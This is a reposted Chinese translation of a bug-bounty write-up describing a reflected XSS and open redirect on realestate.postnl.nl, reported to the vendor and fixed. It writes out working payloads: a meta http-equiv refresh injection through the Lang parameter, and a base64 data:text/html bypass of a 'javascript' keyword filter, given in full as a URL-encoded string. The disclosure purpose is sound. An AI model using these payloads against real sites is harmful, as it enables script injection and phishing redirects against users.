在realestate.postnl.nl中使用META标签绕过xss过滤器

编程入门 行业动态 更新时间:2024-10-09 11:19:51

在realestate.postnl.nl中使用META标签绕过xss<a href=https://www.elefans.com/category/jswz/34/1771166.html style=过滤器"/>

在realestate.postnl.nl中使用META标签绕过xss过滤器

翻译自:/@prial261/xss-bypass-using-meta-tag-in-realestate-postnl-nl-32db25db7308
翻译:聂心明

今天我准备将一个xss漏洞报给 postnl.nl 的src

漏洞点:/?Lang=
我使用“><xsstest>测试Lang参数是否有xss,然后在源码中我发现我输入的参数被输出到META标签之中了,就像下面这样 :

<meta name="language" content=""><xsstest>" /> 

看起来很简单对吧?但是等一下,我输入"><img src=x>我得到:

我尝试了很多HTML标签,然后我总结了两点:

  • 所有的有效的HTML都不被允许
  • 我能创建任何属性

所以我谷歌寻找meta标签属性,得到:

http-equiv属性引起我的注意。现在我又谷歌希望能了解到更多的东西

META标签有一个http-equiv属性,这个属性允许你在HTML代码中定义HTTP头的等效项。http-equiv属性会使用refresh这个值,这个值的可以被用来跳转到其他页面。
然后我输入0;"HTTP-EQUIV="refresh"页面显示:

<meta name="language" content="0;"HTTP-EQUIV="refresh"" />

然后跳转到了evil,所以我已经能够跳转了。现在我试着构造URI XSS,所以我输入0;javascript:alert(1)"HTTP-EQUIV="refresh"页面报

我的payload中触发了javascript关键字。所以我使用Base64编码一下payload。0;data:text/html;base64,PHNjcmlwdD5wcm9tcHQoIlJlZmxlY3RlZCBYU1MgQnkgUHJpYWwiKTwvc2NyaXB0Pg=="HTTP-EQUIV="refresh",然后返回的源码是:

<meta name="language" content="0;data:text/html;base64,PHNjcmlwdD5wcm9tcHQoIlJlZmxlY3RlZCBYU1MgQnkgUHJpYWwiKTwvc2NyaXB0Pg=="HTTP-EQUIV="refresh"" />

现在我访问:/?Lang=0%3Bdata%3Atext%2fhtml%3Bbase64%2CPHNjcmlwdD5wcm9tcHQoIlJlZmxlY3RlZCBYU1MgQnkgUHJpYWwiKTwvc2NyaXB0Pg%3D%3D%22HTTP-EQUIV%3D%22refresh%22就可以xss了

我把漏洞报告给了官方Zerocopter 。然后厂商通过把data:text/html;base64加入黑名单的方式修复了此漏洞,这种方式就像把javascript加入黑名单一样,但是我依然可以通过访问/?Lang=0%3Bhttp%3A%2f%2fevil%22HTTP-EQUIV%3D%22refresh%22来达到任意跳转的目的。

官方又一次修复了这个漏洞,并且把我的名字放在了名人堂 页面上,并且将会给我发一些礼物

谢谢你们阅读
喜欢我的话请在我的推特上关注我:
如果你们有任何问题,欢迎在Facebook上向我提问

更多推荐

在realestate.postnl.nl中使用META标签绕过xss过滤器

本文发布于:2024-03-15 11:25:55,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1738784.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:过滤器   标签   postnl   realestate   nl

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!